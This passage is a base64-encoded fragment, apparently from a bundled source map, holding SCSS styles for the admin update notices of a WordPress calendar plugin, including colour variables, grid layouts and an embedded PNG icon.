6IDMwcHg7XG5cdFx0XHRcdGhlaWdodDogMzBweDtcblx0XHRcdFx0bWFyZ2luLXRvcDogMDtcblx0XHRcdFx0Zm9udC1zaXplOiAyZW07XG5cdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0dG9wOiAwO1xuXHRcdFx0XHRyaWdodDogMDtcblx0XHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAzcHg7XG5cdFx0XHRcdC8vYWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0Ly9iYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0XHQvL2NvbG9yOiAjZmZmO1xuXHRcdFx0fVxuXHRcdFx0Ji5sZXNzIHtcblx0XHRcdFx0b3BhY2l0eTogMC44O1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0Y29udGVudDogXCItXCI7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdCY6aG92ZXIsXG5cdFx0XHQmOmZvY3VzLFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdFx0XHRib3gtc2hhZG93OiBub25lO1xuXHRcdFx0fVxuXHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdFx0XHR9XG5cdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG4iLCJAdXNlIFwic2FzczptZXRhXCI7XG5AdXNlIFwiLi4vc2V0dGluZ3MtbWl4aW5zXCI7XG5cbjpyb290IHtcblx0LS1hY2NlbnQtLXllbG93OiAjZmZkZDUwO1xuXHQtLWFjY2VudC0tYmx1ZTogIzAxMzU1Mztcblx0LS1hY2NlbnQtLXJlZDogI2ZmNTgwMDtcblx0LS1hY2NlbnQtLWdyZWVuOiAjM2FkNTAwO1xuXHQtLWFjY2VudC0teWVsbG93OiAjZmZkZDUwO1xuXHQtLWJnLS1yZWQ6ICNmZmMyYTI7XG5cdC0tYmctLWdyZWVuOiAjYmJmZmEyO1xuXHQtLWJnLS1saWdodGJsdWU6ICNkMGVlZmY7XG5cdC0tdGV4dC0tYmx1ZS0tZGFyazogIzAxMzU1Mztcblx0LS10ZXh0LS1ub3RpY2U6ICM1NzU3NTc7XG5cdC0tYmdjLS1ibHVlLS1kYXJrOiAjMDEzNTUzO1xuXHQtLWNsLS1kYXJrZXN0OiBibGFjaztcblx0LS1jbC0tbGlnaHRlc3Q6IHdoaXRlO1xufVxuQGluY2x1ZGUgbWV0YS5sb2FkLWNzcyhcImljb25zLWRhdGF1cmlcIik7XG4uc2xuLWNhbGVuZGFyLXBsdWdpbi11cGRhdGUtbm90aWNlLS13cmFwcGVyIHtcblx0bWF4LXdpZHRoOiA5NSU7XG5cdHBhZGRpbmc6IDA7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHQvL3BhZGRpbmc6IHJlbSgyMHB4KTtcblx0fVxuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHQvL21hcmdpbi10b3A6IHJlbSgyMHB4KTtcblx0fVxufVxuLnNsbi1jYWxlbmRhci1wbHVnaW4tdXBkYXRlLW5vdGljZS0td3JhcHBlcixcbi5zbG4tY2FsZW5kYXItLXdyYXBwZXIge1xuXHQuc2xuLW5vdGljZV9fd3JhcHBlciB7XG5cdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdHdpZHRoOiBhdXRvO1xuXHR9XG5cdC5zbG4tbm90aWNlIHtcblx0XHR3aWR0aDogYXV0bztcblx0XHRwYWRkaW5nOiAxLjVyZW0gMC43NXJlbSAxLjVyZW0gMS41cmVtO1xuXHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAzcmVtIGF1dG8gNHJlbTtcblx0XHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRtYXJnaW4tdG9wOiA5cHg7XG5cdFx0Zm9udC1zaXplOiAxcmVtO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xuXHRcdGJvcmRlci1sZWZ0OiBzb2xpZCAzcHggdmFyKC0tYWNjZW50LS15ZWxvdyk7XG5cdFx0aDIge1xuXHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdG1hcmdpbjogMDtcblx0XHRcdGNvbG9yOiB2YXIoLS10ZXh0LS1ub3RpY2UpO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0XHRcdGZvbnQtc2l6ZTogMXJlbTtcblx0XHRcdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdFx0fVxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRmb250LWZhbWlseTogXCJGb250QXdlc29tZVwiO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IDkwMDtcblx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0bGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcblx0XHRcdHRleHQtdHJhbnNmb3JtOiBub25lO1xuXHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdHdvcmQtd3JhcDogbm9ybWFsO1xuXHRcdFx0ZGlyZWN0aW9uOiBsdHI7XG5cdFx0XHQtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG5cdFx0XHRmb250LXNpemU6IDJlbTtcblx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0Ly9wb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHQvL3RvcDogNTIlO1xuXHRcdFx0Ly9sZWZ0OiA0MnB4O1xuXHRcdFx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRcdFx0LXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG5cdFx0XHQtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0teWVsb3cpO1xuXHRcdH1cblx0XHQuc2xuLW5vdGljZV9fZGlzbWlzcyB7XG5cdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0d2lkdGg6IDIuNHJlbTtcblx0XHRcdGhlaWdodDogMi40cmVtO1xuXHRcdFx0anVzdGlmeS1zZWxmOiBlbmQ7XG5cdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHR0b3A6IDAuNXJlbTtcblx0XHRcdHJpZ2h0OiAxcmVtO1xuXHRcdFx0cGFkZGluZzogMDtcblx0XHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym9yZGVyOiBub25lO1xuXHRcdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdFx0b3BhY2l0eTogMC41O1xuXHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2Utb3V0O1xuXHRcdFx0LyogRklYIDA5MjAyM1xuXHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdGZvbnQtZmFtaWx5OiBcIkZvbnRBd2Vzb21lXCI7XG5cdFx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0XHRsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuXHRcdFx0XHR0ZXh0LXRyYW5zZm9ybTogbm9uZTtcblx0XHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdFx0d29yZC13cmFwOiBub3JtYWw7XG5cdFx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdFx0XHQtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMS41ZW07XG5cdFx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdFx0XHRcdGNvbnRlbnQ6IFwiXFxmMDU3XCI7XG5cdFx0XHRcdC8vcG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHQvL3RvcDogNTIlO1xuXHRcdFx0XHQvL2xlZnQ6IDQycHg7XG5cdFx0XHRcdGZvbnQtc3R5bGU6IG5vcm1hbDtcblx0XHRcdFx0LXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG5cdFx0XHRcdC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG5cdFx0XHRcdGJvcmRlci1yYWRpdXM6IDUwJTtcblx0XHRcdFx0Y29sb3I6IHZhcigtLWNsLS1kYXJrZXN0KTtcblx0XHRcdH1cblx0XHRcdCovXG5cdFx0XHQmOmhvdmVyLFxuXHRcdFx0JjphY3RpdmUsXG5cdFx0XHQmOmZvY3VzIHtcblx0XHRcdFx0b3BhY2l0eTogMC44NTtcblx0XHRcdH1cblx0XHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcblx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEuMSk7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdFx0Ji5zbG4tbm90aWNlLS1ib2xkIHtcblx0XHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogM3JlbSBhdXRvO1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvO1xuXHRcdFx0cGFkZGluZzogMXJlbTtcblx0XHRcdHJvdy1nYXA6IDFyZW07XG5cdFx0XHRib3JkZXItbGVmdDogbm9uZTtcblx0XHRcdGZvbnQtc2l6ZTogMXJlbTtcblx0XHRcdGNvbG9yOiB2YXIoLS10ZXh0LS1ibHVlLS1kYXJrKTtcblx0XHRcdC5zbG4tbm90aWNlLS1ib2xkX190ZXh0IHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0fVxuXHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRqdXN0aWZ5LXNlbGY6IHN0YXJ0O1xuXHRcdFx0XHRhbGlnbi1zZWxmOiBzdGFydDtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRmb250LXNpemU6IDIuNXJlbTtcblx0XHRcdFx0YmFja2dyb3VuZC1zaXplOiBjb250YWluO1xuXHRcdFx0XHRiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7XG5cdFx0XHR9XG5cdFx0XHQuc2xuLW5vdGljZS0tcGx1Z2luX3VwZGF0ZV9fYWN0aW9uIHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0fVxuXHRcdFx0aDIge1xuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAwLjVlbTtcblx0XHRcdFx0Zm9udC1zaXplOiAxLjA3ODEyNXJlbTtcblx0XHRcdFx0bGluZS1oZWlnaHQ6IDEuNDtcblx0XHRcdFx0Y29sb3I6IHZhcigtLXRleHQtLWJsdWUtLWRhcmspO1xuXHRcdFx0XHQmOm9ubHktY2hpbGQge1xuXHRcdFx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdHAge1xuXHRcdFx0XHRtYXJnaW46IDA7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMC44OTM3NXJlbTtcblx0XHRcdFx0Y29sb3I6IHZhcigtLXRleHQtLWJsdWUtLWRhcmspO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQvL0BpbmNsdWRlIGJwKHRhYmxldCkge1xuXHRcdC8vXHQmLnNsbi1ub3RpY2UtLWJvbGQge1xuXHRcdC8vXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0bztcblx0XHQvL1x0XHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cdFx0Ly9cdFx0cGFkZGluZzogMnJlbTtcblx0XHQvL1x0XHQuc2xuLW5vdGljZS0tYm9sZF9fdGV4dCB7XG5cdFx0Ly9cdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHQvL1x0XHRcdGdyaWQtcm93OiAyO1xuXHRcdC8vXHRcdH1cblx0XHQvL1x0XHQmOjphZnRlciB7XG5cdFx0Ly9cdFx0XHRqdXN0aWZ5LXNlbGY6IHN0YXJ0O1xuXHRcdC8vXHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0Ly9cdFx0XHRncmlkLXJvdzogMTtcblx0XHQvL1x0XHR9XG5cdFx0Ly9cblx0XHQvL1x0XHQuc2xuLW5vdGljZS0tcGx1Z2luX3VwZGF0ZV9fYWN0aW9uIHtcblx0XHQvL1x0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdC8vXHRcdFx0Z3JpZC1yb3c6IDM7XG5cdFx0Ly9cdFx0fVxuXHRcdC8vXHR9XG5cdFx0Ly99XG5cdFx0Ly9AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEwMDBweCkge1xuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdCYuc2xuLW5vdGljZS0tYm9sZCB7XG5cdFx0XHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMy41cmVtIGF1dG87XG5cdFx0XHRcdGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcblx0XHRcdFx0YWxpZ24taXRlbXM6IHN0YXJ0O1xuXHRcdFx0XHQuc2xuLW5vdGljZS0tYm9sZF9fdGV4dCB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0cGFkZGluZy1yaWdodDogMWVtO1xuXHRcdFx0XHRcdHAge1xuXHRcdFx0XHRcdFx0ZGlzcGxheTogaW5saW5lO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0anVzdGlmeS1zZWxmOiBzdGFydDtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0XHRmb250LXNpemU6IDMuNXJlbTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLW5vdGljZS0tcGx1Z2luX3VwZGF0ZV9fYWN0aW9uIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMjtcblx0XHRcdFx0fVxuXHRcdFx0XHRoMiB7XG5cdFx0XHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEwMDBweCkge1xuXHRcdFx0Ji5zbG4tbm90aWNlLS1ib2xkIHtcblx0XHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRcdGFsaWduLXNlbGY6IGNlbnRlcjtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEyMDBweCkge1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAzcmVtIGF1dG8gMnJlbTtcblx0XHRcdHJvdy1nYXA6IDEuM3JlbTtcblx0XHRcdHBhZGRpbmc6IDEuNHJlbTtcblx0XHRcdHBhZGRpbmctbGVmdDogMXJlbTtcblx0XHRcdCYuc2xuLW5vdGljZS0tYm9sZCB7XG5cdFx0XHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMy41cmVtIGF1dG8gMjJyZW07XG5cdFx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRcdHBhZGRpbmc6IDFyZW0gMnJlbSAxcmVtIDEuNXJlbTtcblx0XHRcdFx0LnNsbi1ub3RpY2UtLWJvbGRfX3RleHQge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tbm90aWNlLS1wbHVnaW5fdXBkYXRlX19hY3Rpb24ge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAzO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRcdGp1c3RpZnktc2VsZjogY2VudGVyO1xuXHRcdFx0XHR9XG5cdFx0XHRcdGgyIHtcblx0XHRcdFx0XHRmb250LXNpemU6IDEuMjkzNzVyZW07XG5cdFx0XHRcdH1cblx0XHRcdFx0cCB7XG5cdFx0XHRcdFx0Zm9udC1zaXplOiAwLjk2MjVyZW07XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiAxNjAwcHgpIHtcblx0XHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogNHJlbSBhdXRvIDVyZW07XG5cdFx0XHQmLnNsbi1ub3RpY2UtLWJvbGQge1xuXHRcdFx0XHQuc2xuLW5vdGljZS0tYm9sZF9fdGV4dCB7XG5cdFx0XHRcdFx0cCB7XG5cdFx0XHRcdFx0XHQvL2Rpc3BsYXk6IGJsb2NrO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQuc2xuLW5vdGljZS0tYWN0aW9uIHtcblx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdFx0bWFyZ2luOiAwIDFlbTtcblx0XHRwYWRkaW5nOiAwLjJlbSAwO1xuXHRcdC8vYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkIGN1cnJlbnRDb2xvcjtcblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0Y29sb3I6IHZhcigtLWFjY2VudC0tYmx1ZSk7XG5cdFx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0XHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG5cdFx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG5cdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2Utb3V0O1xuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0Y29udGVudDogXCIgXCI7XG5cdFx0XHR3aWR0aDogYXV0bztcblx0XHRcdGhlaWdodDogMXB4O1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY3VycmVudENvbG9yO1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0cmlnaHQ6IDA7XG5cdFx0XHRib3R0b206IDA7XG5cdFx0XHRsZWZ0OiAwO1xuXHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2Utb3V0O1xuXHRcdH1cblx0XHQmOmFjdGl2ZSxcblx0XHQmOmZvY3VzIHtcblx0XHRcdGNvbG9yOiB2YXIoLS1hY2NlbnQtLWJsdWUpO1xuXHRcdFx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0XHRcdG9wYWNpdHk6IDAuODU7XG5cdFx0fVxuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0aGVpZ2h0OiAzcHg7XG5cdFx0XHRcdFx0Ym90dG9tOiAtMnB4O1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5zbG4tbm90aWNlLS1yZXZpZXcge1xuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbG9yOiAjZmYwZjAxO1xuXHRcdFx0Y29udGVudDogXCJcXGYwMDRcIjtcblx0XHR9XG5cdFx0QG1lZGlhIChob3Zlcjogbm9uZSkgYW5kIChwb2ludGVyOiBjb2Fyc2UpIHtcblx0XHRcdGRpc3BsYXk6IG5vbmU7XG5cdFx0fVxuXHR9XG5cdC5zbG4tbm90aWNlLS11c2VhcHAge1xuXHRcdC8qIEZJWCAwOTIwMjMgXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0teWVsb3cpO1xuXHRcdFx0Y29udGVudDogXCJcXGYzY2RcIjtcblx0XHR9XG5cdFx0Ki9cblx0XHRAbWVkaWEgKGhvdmVyOiBob3ZlcikgYW5kIChwb2ludGVyOiBmaW5lKSB7XG5cdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdH1cblx0fVxuXHQuc2xuLW5vdGljZS0tcGx1Z2luX3VwZGF0ZV9fYWN0aW9uIHtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdHdpZHRoOiBmaXQtY29udGVudDtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHBhZGRpbmc6IDEuMjVlbSAxLjc1ZW0gMS4yNWVtIDEuNWVtO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnYy0tYmx1ZS0tZGFyayk7XG5cdFx0Y29sb3I6IHZhcigtLWNsLS1saWdodGVzdCk7XG5cdFx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG5cdFx0dGV4dC1kZWNvcmF0aW9uOiBub25lO1xuXHRcdGJvcmRlci1yYWRpdXM6IDRweDtcblx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXMgZWFzZS1vdXQ7XG5cdFx0Zm9udC1zaXplOiAwLjg3NXJlbTtcblx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHRcdC8qIEZJWCAwOTIwMjMgXG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdG1hcmdpbi1yaWdodDogMC41cmVtO1xuXHRcdFx0Zm9udC1mYW1pbHk6IFwiRm9udEF3ZXNvbWVcIjtcblx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0bGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcblx0XHRcdHRleHQtdHJhbnNmb3JtOiBub25lO1xuXHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdHdvcmQtd3JhcDogbm9ybWFsO1xuXHRcdFx0ZGlyZWN0aW9uOiBsdHI7XG5cdFx0XHQtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG5cdFx0XHRmb250LXNpemU6IDFlbTtcblx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0Ly9jb250ZW50OiBcIlxcZjA2MVwiO1xuXHRcdFx0Ly9jb250ZW50OiBcIlxcZjEwMVwiO1xuXHRcdFx0Ly9jb250ZW50OiBcIlxcZjEwNVwiO1xuXHRcdFx0Y29udGVudDogXCJcXGYwNTRcIjtcblx0XHRcdGZvbnQtc3R5bGU6IG5vcm1hbDtcblx0XHRcdC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuXHRcdFx0LW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTtcblx0XHRcdGJvcmRlci1yYWRpdXM6IDUwJTtcblx0XHRcdGNvbG9yOiB2YXIoLS1jbC0tbGlnaHRlc3QpO1xuXHRcdH1cblx0XHQqL1xuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRtaW4td2lkdGg6IGluaXRpYWw7XG5cdFx0XHRwYWRkaW5nOiAxZW0gMS43NWVtIDFlbSAxLjVlbTtcblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcblx0XHRcdGdyaWQtY29sdW1uOiAzO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRmb250LXNpemU6IDFyZW07XG5cdFx0fVxuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEuMDMpO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQuc2xuLW5vdGljZS0tc3Vic2NyaXB0aW9uLWZyZWUtdmVyc2lvbiB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogI0JERDdFQztcblx0XHQvKiBGSVggMjkwNTIwMjQgXG5cdFx0QGV4dGVuZCAuc2xuLWljb251cmktLXBlb3BsZXN0YXI7XG5cdFx0Ki9cblx0XHQmOjphZnRlciB7XG5cdFx0XHRjb250ZW50OiAnJyAhaW1wb3J0YW50O1xuXHRcdFx0ZGlzcGxheTogYmxvY2sgIWltcG9ydGFudDtcblx0XHRcdHdpZHRoOiAzcmVtICFpbXBvcnRhbnQ7XG5cdFx0XHRoZWlnaHQ6IDNyZW0gIWltcG9ydGFudDtcblx0XHRcdGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFDQUFBQUFnQ0FZQUFBQnplbnIwQUFBQUNYQklXWE1BQUFzVEFBQUxFd0VBbXB3WUFBQUFBWE5TUjBJQXJzNGM2UUFBQUFSblFVMUJBQUN4and2OFlRVUFBQUpDU1VSQlZIZ0I3VmROYnRwQUZINHpZNU1RSjFXclNsV3ZFRzZRY0lQQ0NjSU5TRTlBZW9MU0V6UTlRZWtKU2s5UWVvTENDVUszcVZTSkJSTEcvbnVmOFF3WUc5dEFWYlZTbnlUWm52Znp6WnYzWm40TVlCdmIrTDhCV0J2UWRkMmthZnJHR0R2Z25KOEFRQWNBam9na1JES1NKSWtZWTZ3c3kvTDcvZjFmQzVCbFdSZEFqMFFTSVFRK1k4dzNUUk1BUUZWVkhRQzRjUnpuMW5YZDJ4WGdBT0NSaUNSTjB4NFI5UmxqWHBJa2ZyL2YzekVNdzlJMGJjOHdqTDBvaW16OGYrYWN2NGRoT0YwQjRwd25CT0JybXFhdnFxbzZiZHNHVXNWeERGbVc3UzBEcUtycU5BekRTL283blBNWElub0JEQ0dFb3FwcXY5MXVnNjdyamFKWWxxVmFsa1VBRUFUQmUxMWRYbDZPWlFDU0pCMFQwWUFnQ01MVy8yQXorYjV2bTZacDEyVVJSWkZ0bXFaVlZaVzRpQ09pQVlBczhqMEFPRURkU3hmMS9YNi8zMmswR2h2bHorY3o3Tzd1dGpZOWwrZjVpYVpwTHpXQXBpb21BUEFCaUtxcU9vN2oySTFHWTlQYjI5dmJ4cC9qT0k2cnFxb3ZKL0w1Zkg2cXFtb0FBTjhZWTd1aUtJcjVPVVFvaXFJNGRTOElndE82K3ZMeU1wWVQrWHcrUDlVMDdWSUJTSklFQ1FDOGw1ZVhWZzNncXdJUUFNRDUvNnJwZERvK2x4UEpzdXdWQUVhS29vd1dpOFZTTjVabENUOW9talpTRkdXMFhCWUZYTy8zK3hNQUdOUjJRVTNYMXpUdEx3aUNUNFpoV0FDdzF3U3hMTXRDZ0ErR1lmd05ndUFUdlQrVXRHWVhMSmZMRUlUUUYwS2NFZEVMRWVrSUFKdjRETVBZSXlLZHJ1ZVRFT0lNM3d1bDlrWmRjRjhUbC9UTEIwVEhqWHRKSVlTNFRwTGtWd0JzNDE4dS9nRTZiZWlMV1RxU2pRQUFBQUJKUlU1RXJrSmdnZz09JykgIWltcG9ydGFudDtcblx0XHRcdGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQgIWltcG9ydGFudDtcblx0XHRcdGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlciAhaW1wb3J0YW50O1xuXHRcdFx0YmFja2dyb3VuZC1zaXplOiBjb250YWluICFpbXBvcnRhbnQ